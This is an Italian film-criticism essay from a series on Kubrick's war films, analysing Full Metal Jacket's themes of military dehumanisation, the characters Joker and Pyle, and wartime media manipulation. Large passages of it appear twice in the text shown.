il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
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La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni 